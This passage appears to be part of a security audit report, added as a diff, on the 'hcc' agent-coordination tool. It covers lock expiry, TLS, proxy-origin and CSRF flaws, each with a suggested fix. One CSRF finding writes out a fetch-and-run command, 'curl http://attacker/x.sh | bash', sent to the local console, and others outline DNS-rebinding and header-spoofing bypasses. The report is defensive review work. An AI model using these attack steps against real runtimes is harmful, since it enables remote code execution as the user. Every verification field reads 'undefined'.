- 机理:The heartbeat mutate (lines 156-166) runs `UPDATE locks SET expires_at = ? + ?, ttl_sec = ? WHERE owner = ?` (or `expires_at = ? + ttl_sec` when no override) — a plain assignment that can LOWER expires_at. The other renewal paths deliberately use the monotonic form: clock-safety.mjs:301 `SET expires_at = MAX(expires_at, ? + ttl_sec)`. A lock acquired with a long TTL is therefore clamped down to last-heartbeat + heartbeat-ttl on the first heartbeat that carries a smaller ttl (either an explicit override or after any path that wrote a smaller ttl_sec). The ttlOverride path also overwrites ttl_sec, so a later default heartbeat keeps the shrunken ttl_sec.
|
|
79
|
+
- 失败场景:Peer A acquires a lock with --ttl 3600 for a long-running op (the response tells it 'locked until T+3600'). A's heartbeat client is configured with ttl=900 (default) and its heartbeat interval is 600s. After the first heartbeat the lock expires at heartbeatNow+900; if the heartbeat client hiccups for >900s (client crash, network blip, event-loop stall), the lock lapses at heartbeat-ttl rather than the granted 3600s, and peer B (whose observation of A shows 'dead' or, after the window, 'unknown') acquires the same resource while A is still using it — concurrent mutation of the shared resource the lock was protecting.
|
|
80
|
+
- 修复:Use the MAX form here too: `expires_at = MAX(expires_at, ? + ttl_sec)` for the override path (and only lower ttl_sec when the new grant is being extended), matching clock-safety.mjs and bin/hcc.mjs:6405-6414.
|
|
81
|
+
- 验证:undefined
|
|
82
|
+
|
|
83
|
+
**CS-07(低) `lib/core/coordination/tasks.mjs:129` — Task takeover 'stale' policy permits takeover on UNKNOWN owner evidence, a lower bar than the reaper's required 'dead' evidence**
|
|
84
|
+
- 机理:takeoverPolicyDetails computes `ownerStale = Boolean(previousOwner && previousOwner !== peer && ( !ownerRow || ownerDead || (!ownerLive && !graceActive && ownerAge > staleAfter) ))` (lines 129-132). With evidence 'unknown' and age > staleAfter and no active grace, ownerStale is true — the task is declared stale based on UNKNOWN liveness. The automated reaper applies a strictly higher bar (mutateConfirmedDeadPeer requires evidence.state === 'dead', bin/hcc.mjs:450). The v1 series (635222c 'resolve ownership from process evidence', d706761 'protect CLI-only ownership after clock gaps') was supposed to make ownership decisions evidence-based; the grace gate here only blocks this for the 120s window after a detected jump — and CS-01 shows grace windows are not reliably present.
|
|
85
|
+
- 失败场景:Peer B's process is alive but its evidence resolves 'unknown' (e.g., tmux session exists but HCC_ROOT mismatch — resolvePeerEvidence line 78-80 returns 'unknown' on root mismatch; or an incomplete fingerprint per CS-06). B has not heartbeated for > activePeerTtl (600s) because it is an idle long-running agent. Peer C issues a web task-takeover with default policy 'blocked-or-stale' (web-peer-actions.mjs:215): B is not in grace, evidence is 'unknown' and not live -> ownerStale -> takeover succeeds while B is still running and using the task's resources — the exact 'take over a live peer' hazard the reaper's evidence gate prevents.
|
|
86
|
+
- 修复:Require verified-dead (or explicitly 'any') for takeover: `(!ownerLive && evidence.state === 'dead')` instead of `!ownerLive`; treat 'unknown' as protected (defer) just like grace does, or require an explicit --force for the unknown case.
|
|
87
|
+
- 验证:undefined
|
|
88
|
+
|
|
89
|
+
**CS-08(低) `lib/shared/clock-grace.mjs:40` — writeClockGraceUntil fails closed with a thrown error on any non-canonical stored meta value, aborting the entire owning transaction**
|
|
90
|
+
- 机理:The UPSERT's WHERE clause (lines 45-49) only matches values that are '0' or a pure digit string starting with [1-9] within the safe-integer range; any other existing value makes the UPDATE skip, `RETURNING` yields no row, `row` is undefined and the function throws 'invalid persisted deadline for clock grace' (lines 53-56). The throw propagates through observeClockSafetyInTransaction's tx (clock-safety.mjs:287-289) into clockSafetyUnavailable, so a single corrupted/foreign clock_grace_until meta value (manual edit, a buggy writer, a future schema change) makes every heartbeat, lock acquire, GC observation and reaper tick fail with CLOCK_SAFETY_UNAVAILABLE — the heartbeat failure then makes peers go stale and eventually get reaped. readClockGraceUntil has the same fail-closed throw (clock-grace.mjs:13-22).
|
|
91
|
+
- 失败场景:The meta key clock_grace_until contains a value written by any other tool/format (e.g., 'INF', '1e6', '0x10', or a float '900.5' — parsePersistedDeadline rejects floats too). Every subsequent webPeerHeartbeat: `captureLockRenewalSubject` -> readClockGraceUntil throws -> wrapped in clockSafetyUnavailable -> the heartbeat endpoint returns CLOCK_SAFETY_UNAVAILABLE permanently until manual DB repair; webPeerLockAcquire and auto-GC likewise fail permanently, and the reaper logs 'liveness reaper failed' every 30s.
|
|
92
|
+
- 修复:Treat an invalid persisted value as a recoverable corruption: sanitize it inside a write transaction (repair to '0' or to the new max) instead of throwing, and have readClockGraceUntil return 0 on parse failure (log a warning) rather than aborting the caller's transaction.
|
|
93
|
+
- 验证:undefined
|
|
94
|
+
|
|
95
|
+
### Uncommitted diff: proxy-aware security + runtime TLS client
|
|
96
|
+
|
|
97
|
+
**TLS-1(高) `lib/web/runtime.mjs:109` — TLS runtime client fails closed on any runtime object without tls_cert; HCC_RUNTIME_URL=https override makes every CLI call fail and hcc down reports 'stopped' while the TLS runtime keeps running**
|
|
98
|
+
- 机理:runtimeHttpRequest builds `new https.Agent({ ...(tlsCert ? { ca: tlsCert } : {}), rejectUnauthorized: true, keepAlive: false })` — verification is ALWAYS on and the CA is only rt.tls_cert. But readRuntime (lib/runtime/state.mjs:59-67) synthesizes the env override as `{ base_url: process.env.HCC_RUNTIME_URL, token: process.env.HCC_RUNTIME_TOKEN || '', source: 'env' }` with no tls_cert, and there is no other way to supply a CA or disable verification (grep shows rejectUnauthorized appears only at runtime.mjs:109; no --insecure, no NODE_TLS_REJECT_UNAUTHORIZED handling). The self-signed cert from `hcc web --tls` is therefore never verifiable through the env override.
|
|
99
|
+
- 失败场景:Machine A: `hcc web --tls` (prints https://<A-ip>:8787). Machine B: `HCC_RUNTIME_URL=https://<A-ip>:8787 HCC_RUNTIME_TOKEN=t hcc status` → UNABLE_TO_VERIFY_LEAF_SIGNATURE → RUNTIME_UNREACHABLE; probeRuntime returns false so status/reuse say 'not running'. Worse: `HCC_RUNTIME_URL=... hcc down` (bin/hcc.mjs:2779-2784) catches RUNTIME_UNREACHABLE, deletes local pointers and prints 'runtime stopped' — but the stop request never arrived, so the TLS runtime and its live token/terminal keep running on A, now orphaned with the operator believing it is down. Remote CLI control of a --tls runtime is impossible by design.
|
|
100
|
+
- 修复:Thread the runtime's CA through the env override path: add HCC_RUNTIME_TLS_CERT / HCC_RUNTIME_TLS_CERT_FILE env support (or an --insecure-verify flag with a loud warning) in readRuntime, and make cmdDown treat RUNTIME_UNREACHABLE from a TLS endpoint as an error (or at least distinguish 'probe failed' from 'stopped') instead of silently removing pointers.
|
|
101
|
+
- 验证:undefined
|
|
102
|
+
|
|
103
|
+
**TLS-2(高) `lib/web/runtime.mjs:189` — `hcc web` re-run without --tls/--trust-proxy silently stops a running TLS runtime and restarts a plaintext one (idempotent-command security downgrade)**
|
|
104
|
+
- 机理:New lines in webRuntimeMatchesRequest: `if (runtimeTls !== Boolean(opts.tls)) return false; if (Boolean(runtime.trust_proxy) !== Boolean(opts['trust-proxy'])) return false;`. In startWebBackground (bin/hcc.mjs:2638-2648) a mismatch is not an error — it executes `await runtimeRequest(ctx, 'POST', '/api/runtime/stop', {}, existing)` (hcc.mjs:2647), deletes runtimePath/globalRuntimePath, and starts a fresh server with the current flags. Before this diff, tls/trust_proxy were not compared, so `hcc web` against a running TLS runtime printed 'already running'.
|
|
105
|
+
- 失败场景:User secures the control plane with `hcc web --tls` (and/or --trust-proxy). Later, from a script, another project dir, or habit, they run plain `hcc web` — the idempotent 'ensure it is up' command. The TLS runtime is killed and replaced with plaintext HTTP on the same port; token, session cookies (no Secure flag now) and the terminal stream go back to cleartext on the LAN, and the global runtime pointer is deleted mid-transition so other projects lose the tls_cert too. The operator is never asked to confirm the downgrade.
|
|
106
|
+
- 修复:Treat a tls/trust_proxy mismatch as a config conflict: refuse to auto-restart when the running runtime has stronger protection than the requested flags (require explicit `--force` or print the exact stop command), and keep the old tls_cert in the global pointer until the replacement is proven healthy.
|
|
107
|
+
- 验证:undefined
|
|
108
|
+
|
|
109
|
+
**CLIENT-1(中) `lib/web/runtime.mjs:102` — runtimeHttpRequest's timeoutMs default (8000) is silently ignored on the plaintext branch and probeRuntime passes no deadline at all — CLI commands hang indefinitely against a stalled HTTP runtime**
|
|
110
|
+
- 机理:`if (url.protocol !== 'https:') { const response = await fetch(url, { method, headers, body: ..., signal }); ... }` — the fetch branch never applies timeoutMs (no AbortSignal.timeout, no internal controller), so the advertised default only exists on the TLS branch (req.setTimeout at runtime.mjs:133). probeRuntime (lib/runtime/state.mjs:93-104) calls `runtimeHttpRequest(runtime, '/api/runtime', { headers })` with neither timeoutMs nor signal; runtimeRequest's abortScope (client.mjs:55) only arms a timer when the caller passes timeoutMs, and none of the hcc.mjs callers do (only gc-buffers passes timeoutMs: 5000 at hcc.mjs:8044/8109).
|
|
111
|
+
- 失败场景:Runtime pid is alive but the process is SIGSTOPped or its event loop is wedged (accepts the TCP connection, never responds): `hcc down` (bin/hcc.mjs:2779), `hcc status`, `hcc reuse` and shim calls hang forever on the HTTP path; the identical runtime over TLS fails cleanly after 8s. Deadlines now depend on which scheme the runtime happens to use, and the helper's contract ('timeoutMs = 8000') is not honored on the branch most deployments use.
|
|
112
|
+
- 修复:In the fetch branch apply the deadline: `signal` should be an AbortSignal composed with AbortSignal.timeout(timeoutMs) (or the helper should create its own controller from timeoutMs), and probeRuntime should pass an explicit timeoutMs so status/down/reuse cannot hang unboundedly.
|
|
113
|
+
- 验证:undefined
|
|
114
|
+
|
|
115
|
+
**PROXY-2(中) `lib/web/http.mjs:103` — Origin comparison fails when the browser serializes Origin without the default port: proxied cookie-mode writes get 403 CSRF_ORIGIN behind common proxy configs**
|
|
116
|
+
- 机理:`return parsed.protocol === expectedProtocol && parsed.host.toLowerCase() === host.toLowerCase();` — `parsed.host` includes the port exactly as the browser serialized it. Per RFC 6454, a browser omits the port from Origin when it is the scheme default (https://example.com:443 → Origin: https://example.com). The host side comes from x-forwarded-host / Host as forwarded by the proxy, which often preserves the port (`proxy_set_header Host $http_host;` or X-Forwarded-Host: example.com:443).
|
|
117
|
+
- 失败场景:`hcc web --tls` on port 443 behind a same-host TLS proxy, or --trust-proxy with a proxy forwarding x-forwarded-host: example.com:443: the browser sends Origin: https://example.com (no port) and Host: example.com:443 → parsed.host 'example.com' !== host 'example.com:443' → every non-safe cookie-mode request (POST /api/*, /logout, terminal writes) is rejected with 403 CSRF_ORIGIN; the web UI is unusable in cookie mode even though TLS/CSRF are configured correctly. Fragile either way: if the proxy strips the port instead, the inverse mismatch occurs for the same deployment.
|
|
118
|
+
- 修复:Normalize ports before comparing: treat the scheme default port (443 for https, 80 for http) as equivalent to 'no port' on both sides (parse both via URL and compare protocol+hostname+effective port).
|
|
119
|
+
- 验证:undefined
|
|
120
|
+
|
|
121
|
+
**CLIENT-2(低) `lib/web/runtime.mjs:127` — TLS branch promise never settles when the connection dies mid-response-body; cleanup is skipped and the socket deadline is an idle timer that slow-drip bodies defeat**
|
|
122
|
+
- 机理:The promise resolves only in `res.on('end', ...)`; there are no 'aborted'/'close'/'error' handlers on the response. If the socket is destroyed between response headers and body completion (caller's abort signal fires, peer RST, timeout during body), 'end' never fires and the Promise never settles, and `cleanup()` (agent.destroy) runs only on 'end'/'error'/req timeout — so it is skipped. Also `req.setTimeout(timeoutMs, ...)` (line 133) is a socket-idle timer: each arriving body chunk resets it, so a server dribbling 1 byte per 10s can stream indefinitely past the 8s budget.
|
|
123
|
+
- 失败场景:In client.mjs the caller is rescued by waitForAbort (client.mjs:57-62), but every aborted mid-body response leaks an unresolved promise and a live https.Agent. In probeRuntime there is no abort path at all, so a slow-dripping /api/runtime response keeps the probe alive arbitrarily long (false-negative only if it never completes); a wedged server that sent headers then stalled is covered only by the idle timeout — i.e., it must be fully silent, not slow.
|
|
124
|
+
- 修复:Add res.on('aborted')/res.on('error')/res.on('close') handlers that run cleanup and reject/resolve (reject on aborted), and cap total response time with a monotonic deadline timer instead of socket-idle req.setTimeout.
|
|
125
|
+
- 验证:undefined
|
|
126
|
+
|
|
127
|
+
**DUP-1(低) `lib/web/http.mjs:61` — Security-critical origin/secure helpers exist twice: production uses the copies inside bin/hcc.mjs, while the new exports in lib/web/http.mjs are exercised only by the regression suite — drift will silently desync tests from production**
|
|
128
|
+
- 机理:bin/hcc.mjs:684-726 defines its own isLoopbackRemote/firstForwardedValue/requestIsSecure/requestOriginMatches (committed at HEAD, used by the CSRF gate at hcc.mjs:5345, WS origin check at hcc.mjs:2616-2619, Secure cookie at hcc.mjs:2846/2851), while the uncommitted diff adds byte-identical copies as exports in lib/web/http.mjs:61-113. The server never imports them — only scripts/regression.mjs:7858-7884 tests the exported versions.
|
|
129
|
+
- 失败场景:A future hardening edit fixes a bug in one copy (e.g., host port normalization, a stricter trust boundary); if it lands in http.mjs the tests green while the running server keeps the vulnerable logic, or if it lands in hcc.mjs the tests keep asserting the old behavior. The two copies already differ in tokenMatches (hcc.mjs checks `!expected` additionally) — proof the duplication is live.
|
|
130
|
+
- 修复:Make bin/hcc.mjs import requestIsSecure/requestOriginMatches/isLoopbackRemote from lib/web/http.mjs and delete the local copies, so the module under test is the module the server runs.
|
|
131
|
+
- 验证:undefined
|
|
132
|
+
|
|
133
|
+
**PROXY-1(低) `lib/web/http.mjs:98` — Trust boundary for x-forwarded-* is 'any connection with a loopback remoteAddress', which includes ssh -L/-R, socat and docker-proxy forwarded peers — not just the intended reverse proxy — and Origin is compared only against client-supplied Host/x-forwarded-host with no bind-host allowlist (DNS-rebinding spoofable)**
|
|
134
|
+
- 机理:requestOriginMatches: `const useForwardedHeaders = trustProxy && isLoopbackRemote(req); const forwardedHost = useForwardedHeaders ? firstForwardedValue(req?.headers?.['x-forwarded-host']) : ''; ... const host = forwardedHost || req?.headers?.host || '';` and isLoopbackRemote (http.mjs:61-64) accepts any 127.* / ::1 / ::ffff:127.* address. This single comparison is the whole cookie-mode CSRF gate (bin/hcc.mjs:5345) and WS upgrade origin check (bin/hcc.mjs:2616-2619). Nothing validates Host/x-forwarded-host against the configured bind host:port — expectedWebHost is consulted only at startup (bin/hcc.mjs:2626, 2793).
|
|
135
|
+
- 失败场景:(a) `hcc web --trust-proxy` bound to 0.0.0.0 with the port published via docker `-p 8787:8787` (docker-proxy connects from 127.0.0.1) or exposed via `ssh -R 8787:127.0.0.1:8787 host`: the remote peer's packets arrive with a loopback remoteAddress, so it can inject x-forwarded-proto: https (making requestIsSecure true → Secure cookie flag at hcc.mjs:2846/2851 and 'Secure' UI) and x-forwarded-host: <any Origin it can produce> → the cookie-mode CSRF gate and the WS origin check both pass for arbitrary origins. (b) DNS rebinding: a hostname the attacker controls resolving to 127.0.0.1 produces matching Origin AND Host (both attacker-controlled) — passes unchanged. The trust predicate should be the actual proxy process, not the socket address.
|
|
136
|
+
- 修复:Pin the expected host: compare `host` (and forwardedHost when trusted) against the configured `expectedWebHost(opts)` + actual port, rejecting anything else; and tighten isLoopbackRemote's trust to a socket that belongs to a locally spawned proxy process (e.g., match on the socket's pid via /proc or only accept the connection from a fixed local port) rather than the address alone.
|
|
137
|
+
- 验证:undefined
|
|
138
|
+
|
|
139
|
+
### Committed v1: fingerprints + identities + bin/hcc.mjs integration
|
|
140
|
+
|
|
141
|
+
**v1-csrf-tokenless(高) `bin/hcc.mjs:5345` — CSRF/Origin check only runs in cookie mode: a malicious web page gets full RCE against a `--no-token` loopback runtime**
|
|
142
|
+
- 机理:The write-side CSRF gate is `if (authMode === 'cookie' && !safeMethod && !requestOriginMatches(req, { trustProxy }))` (bin/hcc.mjs:5344-5347). In `--no-token` mode `authOk` returns true for every loopback request with no credential at all (`if (!token) return isLoopbackRemote(req);`, lib/web/http.mjs:117), so `authMode` is always 'token' and the Origin check never runs on HTTP writes. Only the WebSocket upgrade is origin-protected (`webSocketOriginAllowed`, bin/hcc.mjs:2616-2619 / 5779). Browsers treat `http://localhost` as a trustworthy origin (no mixed-content block), so any page can POST to the console. Exposed endpoints: `POST /api/sessions` (bin/hcc.mjs:5557-5561) runs an arbitrary `command` via `startSession` -> `normalizeWebSessionInput` (`if (input.command || input.binding) return { ...input, kind, projectCtx: pctx };`, bin/hcc.mjs:5242-5244) -> `shell -c <command>`; `POST /api/sessions/<id>/input` (bin/hcc.mjs:5569-5595) injects terminal input ('gated by the runtime token ... intentionally does NOT require the per-session action token' — comment at 5571-5574); `POST /api/runtime/stop` (5541-5544) kills the runtime; `POST /api/detected/<id>/stop|restart` (5690-5727) flip peer state. Additionally the console HTML carries no X-Frame-Options/CSP (sendHttp sets only Cache-Control/Referrer-Policy/X-Content-Type-Options, lib/web/http.mjs:29-37), so in this mode the fully-working console can be iframed and clickjack-driven.
|
|
143
|
+
- 失败场景:User runs `hcc web --no-token` (loopback-only, e.g. for a quick local console). User visits attacker.com. The page fires `fetch('http://localhost:8787/api/sessions', {method:'POST', body: JSON.stringify({kind:'shell', command:'curl http://attacker/x.sh | bash'})})` (or a form POST) — Origin is `http://attacker.com`, authMode is 'token' (loopback trusted, no token required), no Origin check runs, and the shell command executes as the user. If a session already exists, `POST /api/sessions/<id>/input` injects keystrokes directly.
|
|
144
|
+
- 修复:Apply the same-origin check to all non-safe methods whenever the request carries no explicit bearer/query credential AND no token is configured (mirror webSocketOriginAllowed: require Origin match when an Origin header is present; Node/CLI clients send none): `if (!safeMethod && (authMode === 'cookie' || !token) && req.headers.origin && !requestOriginMatches(...)) 403`. Also add `X-Frame-Options: DENY` / CSP `frame-ancestors 'none'` to console responses, and do not accept `command` from web session-start input without an explicit admin flag.
|
|
145
|
+
- 验证:undefined
|
|
146
|
+
|
|
147
|
+
**v1-fingerprint-forge(中) `bin/hcc.mjs:4751` — HCC_LAUNCH_FINGERPRINT / HCC_PROVIDER_STATE are forgeable from inside the session and the fingerprint hash is env-unstable — both gate destructive session restarts**
|
|
148
|
+
- 机理:The fingerprint and provider state live in the tmux session environment (`tmux new-session ... -e HCC_LAUNCH_FINGERPRINT=...` at bin/hcc.mjs:4777-4780, read back via `tmuxSessionEnvironmentValue`), and any process inside the pane can overwrite them with `tmux set-environment HCC_LAUNCH_FINGERPRINT <value>` / `HCC_PROVIDER_STATE exited` (the provider wrapper itself does exactly that, lib/integrations/shims/script.mjs:204-206). The comparisons at bin/hcc.mjs:4750-4753 (`if (existingFingerprint !== env[LAUNCH_FINGERPRINT_ENV]) restartExistingTmuxSession('launch_environment_changed')`) and 4757-4763 (`if (providerState === 'exited') restartExistingTmuxSession('provider_exited')`) decide to park-and-replace (eventually killing, via killOldTmuxForRebind) an existing unattached tmux session. Separately, `launchEnvironmentFingerprint` (lib/core/sessions/launch.mjs:40-58) hashes ALL env vars not in LAUNCH_ENV_IGNORED_KEYS (launch.mjs:19-38) — volatile per-terminal vars (macOS `TERM_SESSION_ID`, `XPC_SERVICE_NAME`, `XPC_FLAGS`, `TMPDIR`, `SSH_AUTH_SOCK`) are not ignored, so the fingerprint legitimately differs between terminal tabs/invocations.
|
|
149
|
+
- 失败场景:(a) The shell inside a provider session runs `tmux set-environment HCC_PROVIDER_STATE exited` (or the wrapper crashes before clearing it); the next `hcc session start` on that id with `--restart-env`/provider binding sees 'exited' and kills the user's still-running session content. (b) User starts session A in one terminal, then runs the same start command with `--restart-env` from a different terminal (different TERM_SESSION_ID) — the fingerprint differs and the healthy unattached session is torn down and restarted.
|
|
150
|
+
- 修复:Bind the fingerprint to the immutable tmux session evidence (creation token + session id + HCC_ROOT, already captured by `attachmentEvidenceForPane`/`oldTmuxEventEvidence`) and persist it in the peers/peer_bindings row inside the runtime DB transaction instead of tmux env; add the volatile vars (TERM_SESSION_ID, XPC_*, TMPDIR, SSH_* socket) to LAUNCH_ENV_IGNORED_KEYS; treat PROVIDER_STATE only as a hint that must be confirmed by pane process evidence before restarting.
|
|
151
|
+
- 验证:undefined
|
|
152
|
+
|
|
153
|
+
**v1-legacy-unreapable(中) `lib/core/peers/evidence.mjs:16` — Peers with incomplete stored identities can never be proven dead: legacy rows are permanently stuck 'running'**
|
|
154
|
+
- 机理:`processState` returns 'unknown' whenever the stored identity is incomplete: `if (!evidence || compareProcessIdentity(evidence.storedIdentity, evidence.storedIdentity) !== 'live') return 'unknown';` (lines 15-18) — it checks the stored identity against ITSELF before ever consulting `evidence.current.state`, so a row whose `pid_start_token`/`pid_command_hash` is NULL yields 'unknown' even when the process is provably gone (current.state 'dead'). Schema v7 added those columns with `addColumnIfMissing(database, 'peers', 'pid_start_token', ...)` and no backfill (lib/db/schema.mjs:385-386), so all peers created by pre-v1 versions have NULL identities. `mutateConfirmedDeadPeer` (bin/hcc.mjs:445-466) mutates only when `evidence.state === 'dead'`, so the reaper, `reapDeadPeersForProject`, and `hcc gc` can never reap such rows; they linger as 'running'/'working'/'busy' forever, appear in `/api/detected` (filtered only by last_seen >= t - DETECTED_PEER_MAX_AGE), and can only be removed by hand.
|
|
155
|
+
- 失败场景:User upgrades from 0.1.x; DB has a peer row created before v1 (pid set, pid_start_token NULL). The process dies. Every reaper tick and `hcc gc` computes evidence 'unknown' (stored-vs-stored check fails) and refuses to mark it exited — the phantom 'running' peer persists indefinitely, pollutes the UI/API, and blocks re-use of the peer id via `nextProjectSessionId`.
|
|
156
|
+
- 修复:In `processState`, when the stored identity is incomplete but `evidence.current.state === 'dead'` (pid gone, kill(pid,0) ESRCH), return 'dead' — a recycled-pid false positive is impossible without a stored start token only if you keep a one-time 'identity upgrade' rule: backfill `pid_start_token`/`pid_command_hash` for existing rows during the v7 migration (probe the live pid at migration time), and treat legacy rows whose pid is gone as dead while rows whose pid is still alive get upgraded in place.
|
|
157
|
+
- 验证:undefined
|
|
158
|
+
|
|
159
|
+
**v1-token-query-csrf-bypass(中) `lib/web/http.mjs:118` — `?token=` query-param auth is accepted on every route and silently disables the cookie-mode CSRF check**
|
|
160
|
+
- 机理:`authOk` accepts the runtime token from the URL query (`const queryToken = url.searchParams.get('token') || ''; ... tokenMatches(queryToken, token) || tokenMatches(bearer, token)`, lib/web/http.mjs:118-121) on ALL routes, including the WS upgrade and every mutating POST. Since `webAuthMode` prefers 'token' over 'cookie' (bin/hcc.mjs:2870-2872 `if (authOk(url, req, token)) return 'token';`), a request carrying both a valid cookie AND `?token=<valid>` skips `requestOriginMatches` entirely (bin/hcc.mjs:5345 requires `authMode === 'cookie'`). The token is deliberately exposed in printed/shared URLs (`publicRuntimeUrl`/`localRuntimeUrl` append `token=...`, lib/web/runtime.mjs:74-93) and persisted in `~/.hello-cc/web-token`, so any leaked/bookmarked/history-retained tokenized URL is a CSRF bypass that works from any origin.
|
|
161
|
+
- 失败场景:A tokenized console URL is captured (browser history, shell scrollback of `hcc web` output, a paste into a chat). Any page the user then visits can POST with `?token=<captured>` appended to /api/peers/<id>/actions/*, /api/sessions, /api/runtime/stop, etc. — the cookie-mode Origin gate is bypassed because authMode is now 'token', and CSRF succeeds cross-origin without the attacker ever reading a response.
|
|
162
|
+
- 修复:Accept the query token only on `/` and `/login` (the cookie-exchange flow); require the Authorization: Bearer header everywhere else. At minimum, run the same-origin check whenever a session cookie is present, regardless of authMode: `if (!safeMethod && (cookieSessionOk(req) || authMode === 'cookie') && !requestOriginMatches(...)) 403`.
|
|
163
|
+
- 验证:undefined
|
|
164
|
+
|
|
165
|
+
**v1-action-token-timing(低) `bin/hcc.mjs:2996` — Per-session action token validated with non-constant-time string comparison**
|
|
166
|
+
- 机理:`resolveWebActionSession` checks `if (!expected || provided !== expected)` (bin/hcc.mjs:2996) and the WS input gate uses `if (session.actionToken && msg.action_token !== session.actionToken) return;` (bin/hcc.mjs:5823). Both are short-circuiting V8 string compares on the 32-byte session action token, while the runtime token is already compared with `timingSafeEqual` (`tokenMatches`, lib/web/http.mjs:55-62). The action token is the only credential separating a same-origin console reader from terminal input injection.
|
|
167
|
+
- 失败场景:A client that legitimately reads a session (cookie-mode tab without the action token) guesses the token byte-by-byte using response timing of `403 PEER_IDENTITY_REQUIRED` / dropped frames across ~256x32 requests. Network jitter makes this impractical in practice, but the primitive is present and inconsistent with the codebase's own constant-time practice.
|
|
168
|
+
- 修复:Use `tokenMatches(provided, expected)` (already exported) for both comparisons — it enforces equal length and uses timingSafeEqual.
|
|
169
|
+
- 验证:undefined
|
|
170
|
+
|
|
171
|
+
**v1-detected-restart(低) `bin/hcc.mjs:5723` — POST /api/detected/<id>/restart flips any peer to 'running' with a fresh last_seen_at and no liveness evidence**
|
|
172
|
+
- 机理:The route unconditionally runs `db.prepare('UPDATE peers SET status = ?, last_seen_at = ? WHERE id = ?').run('running', now_, peerId)` (bin/hcc.mjs:5726-5727) — no check that the peer is a detected session, that its process is alive, or that its identity matches. It also bumps last_seen_at, which defeats the reaper's `last_seen_at < t - REAPER_GRACE_SEC` filter for another 120s. Combined with the tokenless-CSRF gap (v1-csrf-tokenless) or any same-origin page, this is a cheap state-flip primitive on arbitrary peer ids (any string, since `connect` + UPDATE never validates the row).
|
|
173
|
+
- 失败场景:A page POSTs /api/detected/<id>/restart for a peer that crashed an hour ago: the peer reappears as 'running' in the UI and /api/detected (filtered only by last_seen), auto-attach tries to attach it by pid (no match, silently), and the phantom persists until the reaper's next pass after 120s of silence. Repeated calls keep it 'running' indefinitely.
|
|
174
|
+
- 修复:Require evidence (`peerEvidenceFromDb(...).state === 'live'`) or at least that the peer is a detected (hook-registered) row with a live pid before flipping status; do not bump last_seen_at on a synthetic restart.
|
|
175
|
+
- 验证:undefined
|
|
176
|
+
|
|
177
|
+
**v1-ws-client-leak(低) `bin/hcc.mjs:5810` — WebSocket clients are never closed when a session exits or detaches; per-session client sets are unbounded**
|
|
178
|
+
- 机理:The upgrade handler adds every authenticated client to `session.clients` (bin/hcc.mjs:5810-5812) with no cap. On session exit/detach, `detachTmuxSession` only broadcasts `{type:'exit'}` (bin/hcc.mjs:4868-4890) and the pty path only broadcasts `{type:'exit', event}` (bin/hcc.mjs:5227-5240) — client sockets stay open indefinitely (they are only terminated in `shutdown()`'s terminateClients timer, bin/hcc.mjs:5908-5916). Each such socket also stays in `cookieAuth.session.sockets` until revoked, and the message handler silently drops frames once `session.status !== 'running'`. Over a long-lived runtime, exited sessions leak one fd per browser tab that was left open.
|
|
179
|
+
- 失败场景:User leaves a tab open on a session; the provider exits (or `peer stop` detaches). The socket remains open (idle) until the runtime restarts. A script that repeatedly connects/refreshes (or an automated client cycling sessions) accumulates open fds; with the default ulimit, the runtime eventually fails to accept new connections, and `webSessions` (256-session cap) does not bound socket count.
|
|
180
|
+
- 修复:In the detach/exit paths, `for (const ws of session.clients) try { ws.close(4001, 'session ended') } catch {}` after the exit broadcast, and cap `session.clients` (e.g. 16) with rejection of further upgrades.
|
|
181
|
+
- 验证:undefined
|
|
182
|
+
|
|
183
|
+
### Cross-cutting: current whole-tree health
|
|
184
|
+
|
|
185
|
+
**xx-02(高) `lib/terminal/tmux.mjs:15` — runTmux uses spawnSync with no timeout in the web runtime — a hung tmux freezes the entire shared runtime indefinitely**
|
|
186
|
+
- 机理:runTmux() executes `spawnSync('tmux', args, {...})` (lib/terminal/tmux.mjs:15-29) with no `timeout` option. It is called from every hot path of the web runtime: outputPoller (100ms), exitPoller, replacePoller, streamPoller, the auto-attach poller, the reaper (tmuxListSessionNames), and request handlers (tmuxPaneInfo, tmuxCapturePane, tmuxSendLiteral). spawnSync blocks the Node main thread until the child exits; a wedged tmux server or pane process (D-state, full pty buffer, socket on a stuck filesystem) blocks the child indefinitely.
|
|
187
|
+
- 失败场景:A managed pane's process is stuck in uninterruptible sleep writing to a full pty. `tmux display-message`/`capture-pane` in the 100ms output poller hangs; the whole runtime event loop freezes — every project's terminal stream, WS delivery, and HTTP response stalls forever. There is no timeout to kill the child and no way for the operator to recover except killing the runtime. Any slow tmux (huge session lists in the reaper's list-sessions sweep) similarly stalls all projects.
|
|
188
|
+
- 修复:Give runTmux a bounded timeout (spawnSync `timeout` option) and treat timeout as TMUX_ERROR with retry/backoff; prefer async spawn with a kill path for poller-invoked tmux commands.
|
|
189
|
+
- 验证:undefined
|
|
190
|
+
|
|
191
|
+
**xx-01(中) `bin/hcc.mjs:2897` — Main-thread Atomics.wait blocking in the per-request hot path: every web request takes the shared project-registry file lock**
|
|
192
|
+
- 机理:projectFromRequest() (bin/hcc.mjs:2998-3007) unconditionally calls rememberProject() (2896-2904), which calls registerProject() on EVERY HTTP request and WS upgrade (browser polls /api/state every few seconds). registerProject -> updateProjectRegistry (lib/runtime/projects.mjs:275-290) wraps read + throttle-check + persist inside withFileLock with DEFAULT options (timeoutMs=5000, retryMs=25, blocking). file-lock.mjs acquire() sleeps with `Atomics.wait(waitBuffer, 0, 0, milliseconds)` (lib/shared/file-lock.mjs:19-21, 677-679) — a main-thread event-loop freeze in 25ms chunks, up to 5s. The 60s write throttle (REGISTRY_WRITE_THROTTLE_SEC) is evaluated INSIDE the lock, so even throttled requests still block on the lock. Multiple `hcc web` runtimes (one per project) share the same global registry file and contend on every request.
|
|
193
|
+
- 失败场景:Two projects each run `hcc web`. The second runtime's `hcc status`/probe or a SIGSTOP'd CLI process holds the registry lock for a few seconds (or a stale-live holder is stuck). Every request to either runtime blocks the event loop for the full 5s deadline: all tmux output pollers (100ms), WS terminal streams, exit pollers, and the reaper freeze for 5s; requests then fail with ERR_FILE_LOCK_TIMEOUT -> 500 SERVER_ERROR. All projects' live terminals stall simultaneously.
|
|
194
|
+
- 修复:In rememberProject, only registerProject when the project is new to projectContexts (skip the lock on subsequent requests); or make the web runtime's registry update nonblocking (like registerProjectActivity) and serialize via the in-memory map; or move the throttle check before withFileLock. Ideally move the file lock off the main thread (worker), as conc-03 already notes.
|
|
195
|
+
- 验证:undefined
|
|
196
|
+
|
|
197
|
+
**xx-03(中) `lib/web/runtime.mjs:102` — Plaintext runtimeHttpRequest path has no timeout; probeRuntime can hang the CLI forever**
|
|
198
|
